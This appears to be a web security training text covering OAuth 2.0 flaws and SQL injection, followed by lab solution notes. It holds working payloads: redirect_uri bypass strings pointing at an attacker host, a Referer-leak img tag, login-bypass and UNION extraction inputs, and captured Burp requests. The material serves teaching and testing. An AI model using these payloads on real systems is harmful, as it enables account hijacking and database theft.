You are on page 1of 20

OAuth 2.

0 authentication vulnerabilities
While browsing the web, you've almost certainly come across sites that let you log in using your
social media account. The chances are that this feature is built using the popular OAuth 2.0
framework. OAuth 2.0 is highly interesting for attackers because it is both extremely common and
inherently prone to implementation mistakes. This can result in a number of vulnerabilities, allowing
attackers to obtain sensitive user data and potentially bypass authentication completely.

In this section, we'll teach you how to identify and exploit some of the key vulnerabilities found in
OAuth 2.0 authentication mechanisms. Don't worry if you're not too familiar with OAuth authentication
- we've provided plenty of background information to help you understand the key concepts you'll
need. We'll also explore some vulnerabilities in OAuth's OpenID Connect extension. Finally, we've
included some guidance on how to protect your own applications against these kinds of attacks.

As usual, we've provided a series of deliberately vulnerable websites, known as "labs", so that you
can see these vulnerabilities in practice and put what you've learned about exploiting them to the test.
If you'd prefer to dive straight into the labs, you can access the full list from our labs index page.

Labs

OAuth authentication labs

What is OAuth?
OAuth is a commonly used authorization framework that enables websites and web applications to
request limited access to a user's account on another application. Crucially, OAuth allows the user to
grant this access without exposing their login credentials to the requesting application. This means
users can fine-tune which data they want to share rather than having to hand over full control of their
account to a third party.
The basic OAuth process is widely used to integrate third-party functionality that requires access to
certain data from a user's account. For example, an application might use OAuth to request access to
your email contacts list so that it can suggest people to connect with. However, the same mechanism
is also used to provide third-party authentication services, allowing users to log in with an account
that they have with a different website.

Note

Although OAuth 2.0 is the current standard, some websites still use the legacy version 1a. OAuth 2.0
was written from scratch rather than being developed directly from OAuth 1.0. As a result, the two are
very different. Please be aware that the term "OAuth" refers exclusively to OAuth 2.0 throughout
these materials.

How does OAuth 2.0 work?


OAuth 2.0 was originally developed as a way of sharing access to specific data between applications.
It works by defining a series of interactions between three distinct parties, namely a client application,
a resource owner, and the OAuth service provider.

 Client application - The website or web application that wants to access the user's data.
 Resource owner - The user whose data the client application wants to access.
 OAuth service provider - The website or application that controls the user's data and access to it.
They support OAuth by providing an API for interacting with both an authorization server and a
resource server.

There are numerous different ways that the actual OAuth process can be implemented. These are
known as OAuth "flows" or "grant types". In this topic, we'll focus on the "authorization code" and
"implicit" grant types as these are by far the most common. Broadly speaking, both of these grant
types involve the following stages:

1. The client application requests access to a subset of the user's data, specifying which grant type they
want to use and what kind of access they want.
2. The user is prompted to log in to the OAuth service and explicitly give their consent for the requested
access.
3. The client application receives a unique access token that proves they have permission from the user
to access the requested data. Exactly how this happens varies significantly depending on the grant
type.
4. The client application uses this access token to make API calls fetching the relevant data from the
resource server.

Before learning how OAuth is used for authentication, it's important to understand the fundamentals
of this basic OAuth process. If you're completely new to OAuth, we recommend familiarizing yourself
with the details of both of the grant types we're going to cover before reading further.

Read more

OAuth grant types

OAuth authentication

Although not originally intended for this purpose, OAuth has evolved into a means of authenticating
users as well. For example, you're probably familiar with the option many websites provide to log in
using your existing social media account rather than having to register with the website in question.
Whenever you see this option, there's a good chance it is built on OAuth 2.0.

For OAuth authentication mechanisms, the basic OAuth flows remain largely the same; the main
difference is how the client application uses the data that it receives. From an end-user perspective,
the result of OAuth authentication is something that broadly resembles SAML-based single sign-on
(SSO). In these materials, we'll focus exclusively on vulnerabilities in this SSO-like use case.

OAuth authentication is generally implemented as follows:

1. The user chooses the option to log in with their social media account. The client application then uses
the social media site's OAuth service to request access to some data that it can use to identify the user.
This could be the email address that is registered with their account, for example.
2. After receiving an access token, the client application requests this data from the resource server,
typically from a dedicated /userinfo endpoint.
3. Once it has received the data, the client application uses it in place of a username to log the user in.
The access token that it received from the authorization server is often used instead of a traditional
password.

You can see a simple example of how this looks in the following lab. Just complete the "Log in with
social media" option while proxying traffic through Burp, then study the series of OAuth interactions in
the proxy history. You can log in using the credentials wiener:peter. Note that this implementation is
deliberately vulnerable - we'll teach you how to exploit this later.
LABAuthentication bypass via OAuth implicit flowNot solved

How do OAuth authentication vulnerabilities arise?


OAuth authentication vulnerabilities arise partly because the OAuth specification is relatively vague
and flexible by design. Although there are a handful of mandatory components required for the basic
functionality of each grant type, the vast majority of the implementation is completely optional. This
includes many configuration settings that are necessary for keeping users' data secure. In short,
there's plenty of opportunity for bad practice to creep in.

One of the other key issues with OAuth is the general lack of built-in security features. The security
relies almost entirely on developers using the right combination of configuration options and
implementing their own additional security measures on top, such as robust input validation. As
you've probably gathered, there's a lot to take in and this is quite easy to get wrong if you're
inexperienced with OAuth.

Depending on the grant type, highly sensitive data is also sent via the browser, which presents
various opportunities for an attacker to intercept it.

Identifying OAuth authentication


Recognizing when an application is using OAuth authentication is relatively straightforward. If you see
an option to log in using your account from a different website, this is a strong indication that OAuth is
being used.

The most reliable way to identify OAuth authentication is to proxy your traffic through Burp and check
the corresponding HTTP messages when you use this login option. Regardless of which OAuth grant
type is being used, the first request of the flow will always be a request to the /authorization endpoint
containing a number of query parameters that are used specifically for OAuth. In particular, keep an
eye out for the client_id, redirect_uri, and response_type parameters. For example, an authorization request
will usually look something like this:
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid
%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

Recon
Doing some basic recon of the OAuth service being used can point you in the right direction when it
comes to identifying vulnerabilities.

It goes without saying that you should study the various HTTP interactions that make up the OAuth
flow - we'll go over some specific things to look out for later. If an external OAuth service is used, you
should be able to identify the specific provider from the hostname to which the authorization request
is sent. As these services provide a public API, there is often detailed documentation available that
should tell you all kinds of useful information, such as the exact names of the endpoints and which
configuration options are being used.

Once you know the hostname of the authorization server, you should always try sending
a GET request to the following standard endpoints:

 /.well-known/oauth-authorization-server
 /.well-known/openid-configuration

These will often return a JSON configuration file containing key information, such as details of
additional features that may be supported. This will sometimes tip you off about a wider attack
surface and supported features that may not be mentioned in the documentation.

Exploiting OAuth authentication vulnerabilities


Vulnerabilities can arise in the client application's implementation of OAuth as well as in the
configuration of the OAuth service itself. In this section, we'll show you how to exploit some of the
most common vulnerabilities in both of these contexts.

 Vulnerabilities in the client application


o Improper implementation of the implicit grant type LABS
o Flawed CSRF protection LABS
 Vulnerabilities in the OAuth service
o Leaking authorization codes and access tokens LABS
o Flawed scope validation
o Unverified user registration

Vulnerabilities in the OAuth client application

Client applications will often use a reputable, battle-hardened OAuth service that is well protected
against widely known exploits. However, their own side of the implementation may be less secure.

As we've already mentioned, the OAuth specification is relatively loosely defined. This is especially
true with regard to the implementation by the client application. There are a lot of moving parts in an
OAuth flow, with many optional parameters and configuration settings in each grant type, which
means there's plenty of scope for misconfigurations.

Improper implementation of the implicit grant type

Due to the dangers introduced by sending access tokens via the browser, the implicit grant type is
mainly recommended for single-page applications. However, it is also often used in classic client-
server web applications because of its relative simplicity.

In this flow, the access token is sent from the OAuth service to the client application via the user's
browser as a URL fragment. The client application then accesses the token using JavaScript. The
trouble is, if the application wants to maintain the session after the user closes the page, it needs to
store the current user data (normally a user ID and the access token) somewhere.

To solve this problem, the client application will often submit this data to the server in a POST request
and then assign the user a session cookie, effectively logging them in. This request is roughly
equivalent to the form submission request that might be sent as part of a classic, password-based
login. However, in this scenario, the server does not have any secrets or passwords to compare with
the submitted data, which means that it is implicitly trusted.
In the implicit flow, this POST request is exposed to attackers via their browser. As a result, this
behavior can lead to a serious vulnerability if the client application doesn't properly check that the
access token matches the other data in the request. In this case, an attacker can simply change the
parameters sent to the server to impersonate any user.
LABAuthentication bypass via OAuth implicit flowNot solved

Flawed CSRF protection

Although many components of the OAuth flows are optional, some of them are strongly
recommended unless there's an important reason not to use them. One such example is
the state parameter.
The state parameter should ideally contain an unguessable value, such as the hash of something tied
to the user's session when it first initiates the OAuth flow. This value is then passed back and forth
between the client application and the OAuth service as a form of CSRF token for the client
application. Therefore, if you notice that the authorization request does not send a state parameter, this
is extremely interesting from an attacker's perspective. It potentially means that they can initiate an
OAuth flow themselves before tricking a user's browser into completing it, similar to a
traditional CSRF attack. This can have severe consequences depending on how OAuth is being used
by the client application.
Consider a website that allows users to log in using either a classic, password-based mechanism or
by linking their account to a social media profile using OAuth. In this case, if the application fails to
use the state parameter, an attacker could potentially hijack a victim user's account on the client
application by binding it to their own social media account.
LABForced OAuth profile linkingNot solved

Note that if the site allows users to log in exclusively via OAuth, the state parameter is arguably less
critical. However, not using a state parameter can still allow attackers to construct login CSRF attacks,
whereby the user is tricked into logging in to the attacker's account.

Leaking authorization codes and access tokens

Perhaps the most infamous OAuth-based vulnerability is when the configuration of the OAuth service
itself enables attackers to steal authorization codes or access tokens associated with other users'
accounts. By stealing a valid code or token, the attacker may be able to access the victim's data.
Ultimately, this can completely compromise their account - the attacker could potentially log in as the
victim user on any client application that is registered with this OAuth service.

Depending on the grant type, either a code or token is sent via the victim's browser to
the /callback endpoint specified in the redirect_uri parameter of the authorization request. If the OAuth
service fails to validate this URI properly, an attacker may be able to construct a CSRF-like attack,
tricking the victim's browser into initiating an OAuth flow that will send the code or token to an
attacker-controlled redirect_uri.
In the case of the authorization code flow, an attacker can potentially steal the victim's code before it
is used. They can then send this code to the client application's legitimate /callback endpoint (the
original redirect_uri) to get access to the user's account. In this scenario, an attacker does not even
need to know the client secret or the resulting access token. As long as the victim has a valid session
with the OAuth service, the client application will simply complete the code/token exchange on the
attacker's behalf before logging them in to the victim's account.
Note that using state or nonce protection does not necessarily prevent these attacks because an
attacker can generate new values from their own browser.
LABOAuth account hijacking via redirect_uriNot solved

More secure authorization servers will require a redirect_uri parameter to be sent when exchanging the
code as well. The server can then check whether this matches the one it received in the initial
authorization request and reject the exchange if not. As this happens in server-to-server requests via
a secure back-channel, the attacker is not able to control this second redirect_uri parameter.

Flawed redirect_uri validation

Due to the kinds of attacks seen in the previous lab, it is best practice for client applications to provide
a whitelist of their genuine callback URIs when registering with the OAuth service. This way, when the
OAuth service receives a new request, it can validate the redirect_uri parameter against this whitelist. In
this case, supplying an external URI will likely result in an error. However, there may still be ways to
bypass this validation.
When auditing an OAuth flow, you should try experimenting with the redirect_uri parameter to
understand how it is being validated. For example:

 Some implementations allow for a range of subdirectories by checking only that the string starts with
the correct sequence of characters i.e. an approved domain. You should try removing or adding
arbitrary paths, query parameters, and fragments to see what you can change without triggering an
error.
 If you can append extra values to the default redirect_uri parameter, you might be able to exploit
discrepancies between the parsing of the URI by the different components of the OAuth service. For
example, you can try techniques such as:
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
If you're not familiar with these techniques, we recommend reading our content on how to circumvent
common SSRF defences and CORS.
 You may occasionally come across server-side parameter pollution vulnerabilities. Just in case, you
should try submitting duplicate redirect_uri parameters as follows:
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
 Some servers also give special treatment to localhost URIs as they're often used during development. In
some cases, any redirect URI beginning with localhost may be accidentally permitted in the production
environment. This could allow you to bypass the validation by registering a domain name such
as localhost.evil-user.net.

It is important to note that you shouldn't limit your testing to just probing the redirect_uri parameter in
isolation. In the wild, you will often need to experiment with different combinations of changes to
several parameters. Sometimes changing one parameter can affect the validation of others. For
example, changing the response_mode from query to fragment can sometimes completely alter the parsing
of the redirect_uri, allowing you to submit URIs that would otherwise be blocked. Likewise, if you notice
that the web_message response mode is supported, this often allows a wider range of subdomains in
the redirect_uri.

Stealing codes and access tokens via a proxy page

Against more robust targets, you might find that no matter what you try, you are unable to
successfully submit an external domain as the redirect_uri. However, that doesn't mean it's time to give
up.
By this stage, you should have a relatively good understanding of which parts of the URI you can
tamper with. The key now is to use this knowledge to try and access a wider attack surface within the
client application itself. In other words, try to work out whether you can change
the redirect_uri parameter to point to any other pages on a whitelisted domain.
Try to find ways that you can successfully access different subdomains or paths. For example, the
default URI will often be on an OAuth-specific path, such as /oauth/callback, which is unlikely to have any
interesting subdirectories. However, you may be able to use directory traversal tricks to supply any
arbitrary path on the domain. Something like this:
https://client-app.com/oauth/callback/../../example/path

May be interpreted on the back-end as:

https://client-app.com/example/path

Once you identify which other pages you are able to set as the redirect URI, you should audit them
for additional vulnerabilities that you can potentially use to leak the code or token. For
the authorization code flow, you need to find a vulnerability that gives you access to the query
parameters, whereas for the implicit grant type, you need to extract the URL fragment.

One of the most useful vulnerabilities for this purpose is an open redirect. You can use this as a proxy
to forward victims, along with their code or token, to an attacker-controlled domain where you can
host any malicious script you like.

Note that for the implicit grant type, stealing an access token doesn't just enable you to log in to the
victim's account on the client application. As the entire implicit flow takes place via the browser, you
can also use the token to make your own API calls to the OAuth service's resource server. This may
enable you to fetch sensitive user data that you cannot normally access from the client application's
web UI.

LABStealing OAuth access tokens via an open redirectNot solved

In addition to open redirects, you should look for any other vulnerabilities that allow you to extract the
code or token and send it to an external domain. Some good examples include:

 Dangerous JavaScript that handles query parameters and URL fragments


For example, insecure web messaging scripts can be great for this. In some scenarios, you may have
to identify a longer gadget chain that allows you to pass the token through a series of scripts before
eventually leaking it to your external domain.
 XSS vulnerabilities
Although XSS attacks can have a huge impact on their own, there is typically a small time frame in
which the attacker has access to the user's session before they close the tab or navigate away. As
the HTTPOnly attribute is commonly used for session cookies, an attacker will often also be unable to
access them directly using XSS. However, by stealing an OAuth code or token, the attacker can gain
access to the user's account in their own browser. This gives them much more time to explore the
user's data and perform harmful actions, significantly increasing the severity of the XSS vulnerability.
 HTML injection vulnerabilities
In cases where you cannot inject JavaScript (for example, due to CSP constraints or strict filtering), you
may still be able to use a simple HTML injection to steal authorization codes. If you can point
the redirect_uri parameter to a page on which you can inject your own HTML content, you might be able
to leak the code via the Referer header. For example, consider the following img element: <img src="evil-
user.net">. When attempting to fetch this image, some browsers (such as Firefox) will send the full URL
in the Referer header of the request, including the query string.

LABStealing OAuth access tokens via a proxy pageNot solved

Flawed scope validation

In any OAuth flow, the user must approve the requested access based on the scope defined in the
authorization request. The resulting token allows the client application to access only the scope that
was approved by the user. But in some cases, it may be possible for an attacker to "upgrade" an
access token (either stolen or obtained using a malicious client application) with extra permissions
due to flawed validation by the OAuth service. The process for doing this depends on the grant type.

Scope upgrade: authorization code flow

With the authorization code grant type, the user's data is requested and sent via secure server-to-
server communication, which a third-party attacker is typically not able to manipulate directly.
However, it may still be possible to achieve the same result by registering their own client application
with the OAuth service.

For example, let's say the attacker's malicious client application initially requested access to the
user's email address using the openid email scope. After the user approves this request, the malicious
client application receives an authorization code. As the attacker controls their client application, they
can add another scope parameter to the code/token exchange request containing the
additional profile scope:
POST /token
Host: oauth-authorization-server.com

client_id=12345&client_secret=SECRET&redirect_uri=https://client-
app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile

If the server does not validate this against the scope from the initial authorization request, it will
sometimes generate an access token using the new scope and send this to the attacker's client
application:

{
  "access_token": "z0y9x8w7v6u5",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "openid email profile",
  …
}

The attacker can then use their application to make the necessary API calls to access the user's
profile data.
Scope upgrade: implicit flow

For the implicit grant type, the access token is sent via the browser, which means an attacker can
steal tokens associated with innocent client applications and use them directly. Once they have stolen
an access token, they can send a normal browser-based request to the OAuth
service's /userinfo endpoint, manually adding a new scope parameter in the process.
Ideally, the OAuth service should validate this scope value against the one that was used when
generating the token, but this isn't always the case. As long as the adjusted permissions don't exceed
the level of access previously granted to this client application, the attacker can potentially access
additional data without requiring further approval from the user.

Unverified user registration

When authenticating users via OAuth, the client application makes the implicit assumption that the
information stored by the OAuth provider is correct. This can be a dangerous assumption to make.

Some websites that provide an OAuth service allow users to register an account without verifying all
of their details, including their email address in some cases. An attacker can exploit this by registering
an account with the OAuth provider using the same details as a target user, such as a known email
address. Client applications may then allow the attacker to sign in as the victim via this fraudulent
account with the OAuth provider.

Extending OAuth with OpenID Connect


When used for authentication, OAuth is often extended with an OpenID Connect layer, which
provides some additional features related to identifying and authenticating users. For a detailed
description of these features, and some more labs related to vulnerabilities that they can introduce,
see our OpenID Connect topic.

Read more

OpenID Connect

Preventing OAuth authentication vulnerabilities


For developers, we've provided some guidance on how you can avoid introducing these
vulnerabilities into your own websites and applications.

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

SQL injection
In this section, we'll explain what SQL injection is, describe some common examples, explain how to find and
exploit various kinds of SQL injection vulnerabilities, and summarize how to prevent SQL injection.
What is SQL injection (SQLi)?
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an
application makes to its database. It generally allows an attacker to view data that they are not normally able to
retrieve. This might include data belonging to other users, or any other data that the application itself is able to
access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's
content or behavior.

In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or
other back-end infrastructure, or perform a denial-of-service attack.

What is the impact of a successful SQL injection attack?


A successful SQL injection attack can result in unauthorized access to sensitive data, such as passwords, credit
card details, or personal user information. Many high-profile data breaches in recent years have been the result
of SQL injection attacks, leading to reputational damage and regulatory fines. In some cases, an attacker can
obtain a persistent backdoor into an organization's systems, leading to a long-term compromise that can go
unnoticed for an extended period.

SQL injection examples


There are a wide variety of SQL injection vulnerabilities, attacks, and techniques, which arise in different
situations. Some common SQL injection examples include:

 Retrieving hidden data, where you can modify an SQL query to return additional results.
 Subverting application logic, where you can change a query to interfere with the application's logic.
 UNION attacks, where you can retrieve data from different database tables.
 Examining the database, where you can extract information about the version and structure of the database.
 Blind SQL injection, where the results of a query you control are not returned in the application's responses.

Retrieving hidden data


Consider a shopping application that displays products in different categories. When the user clicks on the Gifts
category, their browser requests the URL:

https://insecure-website.com/products?category=Gifts

This causes the application to make an SQL query to retrieve details of the relevant products from the database:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

This SQL query asks the database to return:

 all details (*)


 from the products table
 where the category is Gifts
 and released is 1.

The restriction released = 1 is being used to hide products that are not released. For unreleased products,
presumably released = 0.
The application doesn't implement any defenses against SQL injection attacks, so an attacker can construct an
attack like:

https://insecure-website.com/products?category=Gifts'--

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

The key thing here is that the double-dash sequence -- is a comment indicator in SQL, and means that the rest
of the query is interpreted as a comment. This effectively removes the remainder of the query, so it no longer
includes AND released = 1. This means that all products are displayed, including unreleased products.

Going further, an attacker can cause the application to display all the products in any category, including
categories that they don't know about:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

This results in the SQL query:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

The modified query will return all items where either the category is Gifts, or 1 is equal to 1. Since 1=1 is
always true, the query will return all items.

LAB SQL injection vulnerability in WHERE clause allowing retrieval of hidden data Solved

Subverting application logic


Consider an application that lets users log in with a username and password. If a user submits the username
wiener and the password bluecheese, the application checks the credentials by performing the following SQL
query:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

If the query returns the details of a user, then the login is successful. Otherwise, it is rejected.

Here, an attacker can log in as any user without a password simply by using the SQL comment sequence -- to
remove the password check from the WHERE clause of the query. For example, submitting the username
administrator'-- and a blank password results in the following query:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

This query returns the user whose username is administrator and successfully logs the attacker in as that user.

LAB SQL injection vulnerability allowing login bypass Not solved

Retrieving data from other database tables


In cases where the results of an SQL query are returned within the application's responses, an attacker can
leverage an SQL injection vulnerability to retrieve data from other tables within the database. This is done using
the UNION keyword, which lets you execute an additional SELECT query and append the results to the original
query.

For example, if an application executes the following query containing the user input "Gifts":

SELECT name, description FROM products WHERE category = 'Gifts'

then an attacker can submit the input:

' UNION SELECT username, password FROM users--

This will cause the application to return all usernames and passwords along with the names and descriptions of
products.

Read more

SQL injection UNION attacks

Examining the database


Following initial identification of an SQL injection vulnerability, it is generally useful to obtain some
information about the database itself. This information can often pave the way for further exploitation.

You can query the version details for the database. The way that this is done depends on the database type, so
you can infer the database type from whichever technique works. For example, on Oracle you can execute:

SELECT * FROM v$version

You can also determine what database tables exist, and which columns they contain. For example, on most
databases you can execute the following query to list the tables:

SELECT * FROM information_schema.tables

Read more

Examining the database in SQL injection attacks SQL injection cheat sheet

Blind SQL injection vulnerabilities


Many instances of SQL injection are blind vulnerabilities. This means that the application does not return the
results of the SQL query or the details of any database errors within its responses. Blind vulnerabilities can still
be exploited to access unauthorized data, but the techniques involved are generally more complicated and
difficult to perform.

Depending on the nature of the vulnerability and the database involved, the following techniques can be used to
exploit blind SQL injection vulnerabilities:

 You can change the logic of the query to trigger a detectable difference in the application's response depending
on the truth of a single condition. This might involve injecting a new condition into some Boolean logic, or
conditionally triggering an error such as a divide-by-zero.
 You can conditionally trigger a time delay in the processing of the query, allowing you to infer the truth of the
condition based on the time that the application takes to respond.
 You can trigger an out-of-band network interaction, using OAST techniques. This technique is extremely
powerful and works in situations where the other techniques do not. Often, you can directly exfiltrate data via
the out-of-band channel, for example by placing the data into a DNS lookup for a domain that you control.

Read more

Blind SQL injection

How to detect SQL injection vulnerabilities


The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web
vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the
application. This typically involves:

 Submitting the single quote character ' and looking for errors or other anomalies.
 Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a
different value, and looking for systematic differences in the resulting application responses.
 Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's
responses.
 Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for
differences in the time taken to respond.
 Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL
query, and monitoring for any resulting interactions.

SQL injection in different parts of the query


Most SQL injection vulnerabilities arise within the WHERE clause of a SELECT query. This type of SQL injection
is generally well-understood by experienced testers.

But SQL injection vulnerabilities can in principle occur at any location within the query, and within different
query types. The most common other locations where SQL injection arises are:

 In UPDATE statements, within the updated values or the WHERE clause.


 In INSERT statements, within the inserted values.
 In SELECT statements, within the table or column name.
 In SELECT statements, within the ORDER BY clause.

Second-order SQL injection


First-order SQL injection arises where the application takes user input from an HTTP request and, in the course
of processing that request, incorporates the input into an SQL query in an unsafe way.

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an
HTTP request and stores it for future use. This is usually done by placing the input into a database, but no
vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the
application retrieves the stored data and incorporates it into an SQL query in an unsafe way.
Second-order SQL injection often arises in situations where developers are aware of SQL injection
vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later
processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data
is handled in an unsafe way, because the developer wrongly deems it to be trusted.

Database-specific factors
Some core features of the SQL language are implemented in the same way across popular database platforms,
and so many ways of detecting and exploiting SQL injection vulnerabilities work identically on different types
of database.

However, there are also many differences between common databases. These mean that some techniques for
detecting and exploiting SQL injection work differently on different platforms. For example:

 Syntax for string concatenation.


 Comments.
 Batched (or stacked) queries.
 Platform-specific APIs.
 Error messages.

Read more

SQL injection cheat sheet

How to prevent SQL injection


Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared
statements) instead of string concatenation within the query.

The following code is vulnerable to SQL injection because the user input is concatenated directly into the
query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";

Statement statement = connection.createStatement();

ResultSet resultSet = statement.executeQuery(query);

This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE


category = ?");

statement.setString(1, input);

ResultSet resultSet = statement.executeQuery();

Parameterized queries can be used for any situation where untrusted input appears as data within the query,
including the WHERE clause and values in an INSERT or UPDATE statement. They can't be used to handle untrusted
input in other parts of the query, such as table or column names, or the ORDER BY clause. Application
functionality that places untrusted data into those parts of the query will need to take a different approach, such
as white-listing permitted input values, or using different logic to deliver the required behavior.

For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must
always be a hard-coded constant, and must never contain any variable data from any origin. Do not be tempted
to decide case-by-case whether an item of data is trusted, and continue using string concatenation within the
query for cases that are considered safe. It is all too easy to make mistakes about the possible origin of data, or
for changes in other code to violate assumptions about what data is tainted.

Lab 1: [SQL injection vulnerability in WHERE clause allowing retrieval of hidden data]

This lab contains an SQL injection vulnerability in the product category filter. When the user selects a category,
the application carries out an SQL query like the following:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform an SQL injection attack that causes the application to display details of all products in
any category, both released and unreleased.

Solution:

Use Burp Suite to intercept and modify the request that sets the product category filter.

Modify the category parameter, giving it the value '+OR+1=1--

Submit the request, and verify that the response now contains additional items.

Actual URL:

https://ac0b1f1f1f188b8680160c9400e200a9.web-security-academy.net/filter?category=Tech+gifts

SQL Injection URL:

https://ac0b1f1f1f188b8680160c9400e200a9.web-security-academy.net/filter?category=’OR+1=1--

LAB 2: [SQL injection vulnerability allowing login bypass]

This lab contains an SQL injection vulnerability in the login function.

To solve the lab, perform an SQL injection attack that logs in to the application as the administrator user.

Solution

 Use Burp Suite to intercept and modify the login request.


 Modify the username parameter, giving it the value: administrator'—

Burp Suite Actual:


POST /login HTTP/1.1
Host: ac671fd31e66494980c3141800520080.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: https://ac671fd31e66494980c3141800520080.web-security-academy.net
Connection: close
Referer: https://ac671fd31e66494980c3141800520080.web-security-academy.net/login
Cookie: session=EE5wOjRF7A8lMMMxhsr7i5ATtkvP4qUr
Upgrade-Insecure-Requests: 1
csrf=htXVXjQG2i0kjzBbROYiGlTnxsocLRYq&username=administrator&password=1234

Burp Suite lnjected:

POST /login HTTP/1.1


Host: ac671fd31e66494980c3141800520080.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: https://ac671fd31e66494980c3141800520080.web-security-academy.net
Connection: close
Referer: https://ac671fd31e66494980c3141800520080.web-security-academy.net/login
Cookie: session=EE5wOjRF7A8lMMMxhsr7i5ATtkvP4qUr
Upgrade-Insecure-Requests: 1
csrf=htXVXjQG2i0kjzBbROYiGlTnxsocLRYq&username=administrator’--‘&password=1234

LAB 3: SQL injection UNION attack, determining the number of columns returned by the query

This lab contains an SQL injection vulnerability in the product category filter. The results from the query are
returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The
first step of such an attack is to determine the number of columns that are being returned by the query. You will
then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing an SQL injection
UNION attack that returns an additional row containing null values.

GET /filter?category=Accessories HTTP/1.1


Host: ac741f6c1eeebfc8809e1f3300ae0089.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://ac741f6c1eeebfc8809e1f3300ae0089.web-security-academy.net/
Connection: close
Cookie: session=mCQAw7gm11N8OFgf7cFD1FNvhHsmRg4e
Upgrade-Insecure-Requests: 1

Burp Suite Actual:

https://ac741f6c1eeebfc8809e1f3300ae0089.web-security-academy.net/filter?category=Accessories

Burp Suite lnjected:

https://ac741f6c1eeebfc8809e1f3300ae0089.web-security-academy.net/filter?
category=Accessories’+UNION+SELECT+NULL,+NULL,NULL--

A- SQL injection UNION attacks

When an application is vulnerable to SQL injection and the results of the query are returned within the
application's responses, the UNION keyword can be used to retrieve data from other tables within the database.
This results in an SQL injection UNION attack.

The UNION keyword lets you execute one or more additional SELECT queries and append the results to the
original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query will return a single result set with two columns, containing values from columns a and b in
table1 and columns c and d in table2.

For a UNION query to work, two key requirements must be met:

 The individual queries must return the same number of columns.


 The data types in each column must be compatible between the individual queries.

To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements.
This generally involves figuring out:

 How many columns are being returned from the original query?
 Which columns returned from the original query are of a suitable data type to hold the results from the injected
query?

Determining the number of columns required in an SQL injection


UNION attack
When performing an SQL injection UNION attack, there are two effective methods to determine how many
columns are being returned from the original query.
The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index
until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the
original query, you would submit:

' ORDER BY 1--


' ORDER BY 2--
' ORDER BY 3--
etc.

This series of payloads modifies the original query to order the results by different columns in the result set. The
column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any
columns. When the specified column index exceeds the number of actual columns in the result set, the database
returns an error, such as:

The ORDER BY position number 3 is out of range of the number of items in the select list.

The application might actually return the database error in its HTTP response, or it might return a generic error,
or simply return no results. Provided you can detect some difference in the application's response, you can infer
how many columns are being returned from the query.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of
null values:

' UNION SELECT NULL--


' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number
of expressions in their target lists.

Again, the application might actually return this error message, or might just return a generic error or no results.
When the number of nulls matches the number of columns, the database returns an additional row in the result
set, containing null values in each column. The effect on the resulting HTTP response depends on the
application's code. If you are lucky, you will see some additional content within the response, such as an extra
row on an HTML table. Otherwise, the null values might trigger a different error, such as a
NullPointerException. Worst case, the response might be indistinguishable from that which is caused by an
incorrect number of nulls, making this method of determining the column count ineffective.

